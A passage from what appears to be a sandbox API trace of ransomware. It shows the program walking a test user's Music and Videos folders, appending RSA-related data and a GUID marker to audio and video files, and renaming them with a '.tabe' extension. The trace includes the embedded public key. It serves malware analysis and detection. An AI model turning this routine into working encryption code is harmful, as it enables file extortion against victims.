HALPmcxz\\Music\\FtYbuj0\\BquPTmFwSg r_ r54uDJ\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd93ef0, ftCreationTime.dwHighDateTime=0x1d5e3b9, ftLastAccessTime.dwLowDateTime=0x7396dc0, ftLastAccessTime.dwHighDateTime=0x1d5d9e5, ftLastWriteTime.dwLowDateTime=0x7396dc0, ftLastWriteTime.dwHighDateTime=0x1d5d9e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.484] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd93ef0, ftCreationTime.dwHighDateTime=0x1d5e3b9, ftLastAccessTime.dwLowDateTime=0x7396dc0, ftLastAccessTime.dwHighDateTime=0x1d5d9e5, ftLastWriteTime.dwLowDateTime=0x7396dc0, ftLastWriteTime.dwHighDateTime=0x1d5d9e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.484] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x827fec20, ftCreationTime.dwHighDateTime=0x1d5df35, ftLastAccessTime.dwLowDateTime=0x92d42cf0, ftLastAccessTime.dwHighDateTime=0x1d5e028, ftLastWriteTime.dwLowDateTime=0x92d42cf0, ftLastWriteTime.dwHighDateTime=0x1d5e028, nFileSizeHigh=0x0, nFileSizeLow=0x10229, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="0pgs.wav", cAlternateFileName="")) returned 1 [0127.484] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\BquPTmFwSg r_ r54uDJ\\0pgs.wav") returned=".wav" [0127.484] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\BquPTmFwSg r_ r54uDJ\\0pgs.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\bquptmfwsg r_ r54udj\\0pgs.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.485] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=66089) returned 1 [0127.485] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.486] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10203, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.486] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.487] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x10229, lpOverlapped=0x0) returned 1 [0127.488] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.488] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.488] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.488] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x865f38) returned 1 [0127.489] CryptCreateHash (in: hProv=0x865f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.489] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.489] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.489] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.489] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.489] CryptReleaseContext (hProv=0x865f38, dwFlags=0x0) returned 1 [0127.489] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.489] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.489] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.490] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af8038 [0127.490] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.490] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.490] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.490] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.490] CloseHandle (hObject=0x618) returned 1 [0127.491] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\BquPTmFwSg r_ r54uDJ\\0pgs.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\bquptmfwsg r_ r54udj\\0pgs.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\BquPTmFwSg r_ r54uDJ\\0pgs.wav.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\bquptmfwsg r_ r54udj\\0pgs.wav.tabe")) returned 1 [0127.493] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x617787e0, ftCreationTime.dwHighDateTime=0x1d5ddaa, ftLastAccessTime.dwLowDateTime=0xf2246000, ftLastAccessTime.dwHighDateTime=0x1d5e7d8, ftLastWriteTime.dwLowDateTime=0xf2246000, ftLastWriteTime.dwHighDateTime=0x1d5e7d8, nFileSizeHigh=0x0, nFileSizeLow=0x86be, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="wM7XTzPqdHWVlHfP2B.mp3", cAlternateFileName="WM7XTZ~1.MP3")) returned 1 [0127.493] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\BquPTmFwSg r_ r54uDJ\\wM7XTzPqdHWVlHfP2B.mp3") returned=".mp3" [0127.493] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\BquPTmFwSg r_ r54uDJ\\wM7XTzPqdHWVlHfP2B.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\bquptmfwsg r_ r54udj\\wm7xtzpqdhwvlhfp2b.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.493] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=34494) returned 1 [0127.493] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.495] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8698, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.495] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.496] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x86be, lpOverlapped=0x0) returned 1 [0127.497] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.497] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.497] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.497] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x865f38) returned 1 [0127.498] CryptCreateHash (in: hProv=0x865f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.498] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.498] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.498] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.498] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.498] CryptReleaseContext (hProv=0x865f38, dwFlags=0x0) returned 1 [0127.498] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.498] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.498] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.498] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af8038 [0127.498] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x86be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.498] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.499] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.499] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.499] CloseHandle (hObject=0x618) returned 1 [0127.499] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\BquPTmFwSg r_ r54uDJ\\wM7XTzPqdHWVlHfP2B.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\bquptmfwsg r_ r54udj\\wm7xtzpqdhwvlhfp2b.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\BquPTmFwSg r_ r54uDJ\\wM7XTzPqdHWVlHfP2B.mp3.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\bquptmfwsg r_ r54udj\\wm7xtzpqdhwvlhfp2b.mp3.tabe")) returned 1 [0127.501] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x617787e0, ftCreationTime.dwHighDateTime=0x1d5ddaa, ftLastAccessTime.dwLowDateTime=0xf2246000, ftLastAccessTime.dwHighDateTime=0x1d5e7d8, ftLastWriteTime.dwLowDateTime=0xf2246000, ftLastWriteTime.dwHighDateTime=0x1d5e7d8, nFileSizeHigh=0x0, nFileSizeLow=0x86be, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="wM7XTzPqdHWVlHfP2B.mp3", cAlternateFileName="WM7XTZ~1.MP3")) returned 0 [0127.501] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.501] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.501] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.501] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\sE-NiL1R9vqu7\\") returned="sE-NiL1R9vqu7\\" [0127.501] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\") returned="JTvtdCNymG6\\" [0127.501] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0127.501] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.501] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.501] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.501] PathFindFileNameW (pszPath="") returned="" [0127.501] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\sE-NiL1R9vqu7\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26c03150, ftCreationTime.dwHighDateTime=0x1d5e021, ftLastAccessTime.dwLowDateTime=0xf32570e0, ftLastAccessTime.dwHighDateTime=0x1d5d7b4, ftLastWriteTime.dwLowDateTime=0xf32570e0, ftLastWriteTime.dwHighDateTime=0x1d5d7b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.502] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26c03150, ftCreationTime.dwHighDateTime=0x1d5e021, ftLastAccessTime.dwLowDateTime=0xf32570e0, ftLastAccessTime.dwHighDateTime=0x1d5d7b4, ftLastWriteTime.dwLowDateTime=0xf32570e0, ftLastWriteTime.dwHighDateTime=0x1d5d7b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.502] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc332f030, ftCreationTime.dwHighDateTime=0x1d5dda7, ftLastAccessTime.dwLowDateTime=0x6b92890, ftLastAccessTime.dwHighDateTime=0x1d5e359, ftLastWriteTime.dwLowDateTime=0x6b92890, ftLastWriteTime.dwHighDateTime=0x1d5e359, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Bbgz9d", cAlternateFileName="")) returned 1 [0127.502] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x850ade0, ftCreationTime.dwHighDateTime=0x1d5e68d, ftLastAccessTime.dwLowDateTime=0xf1d161b0, ftLastAccessTime.dwHighDateTime=0x1d5dcda, ftLastWriteTime.dwLowDateTime=0xf1d161b0, ftLastWriteTime.dwHighDateTime=0x1d5dcda, nFileSizeHigh=0x0, nFileSizeLow=0xd089, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="qzyVfNG.mkv", cAlternateFileName="")) returned 1 [0127.502] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\sE-NiL1R9vqu7\\qzyVfNG.mkv") returned=".mkv" [0127.502] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\sE-NiL1R9vqu7\\qzyVfNG.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\se-nil1r9vqu7\\qzyvfng.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.502] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=53385) returned 1 [0127.503] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.503] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd063, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.504] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.505] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xd089, lpOverlapped=0x0) returned 1 [0127.506] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.506] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.506] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.506] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0127.506] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.506] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.506] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.506] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.507] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.507] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0127.507] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.507] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.507] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.507] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af8038 [0127.507] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd089, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.507] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.507] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.507] WriteFile (in: 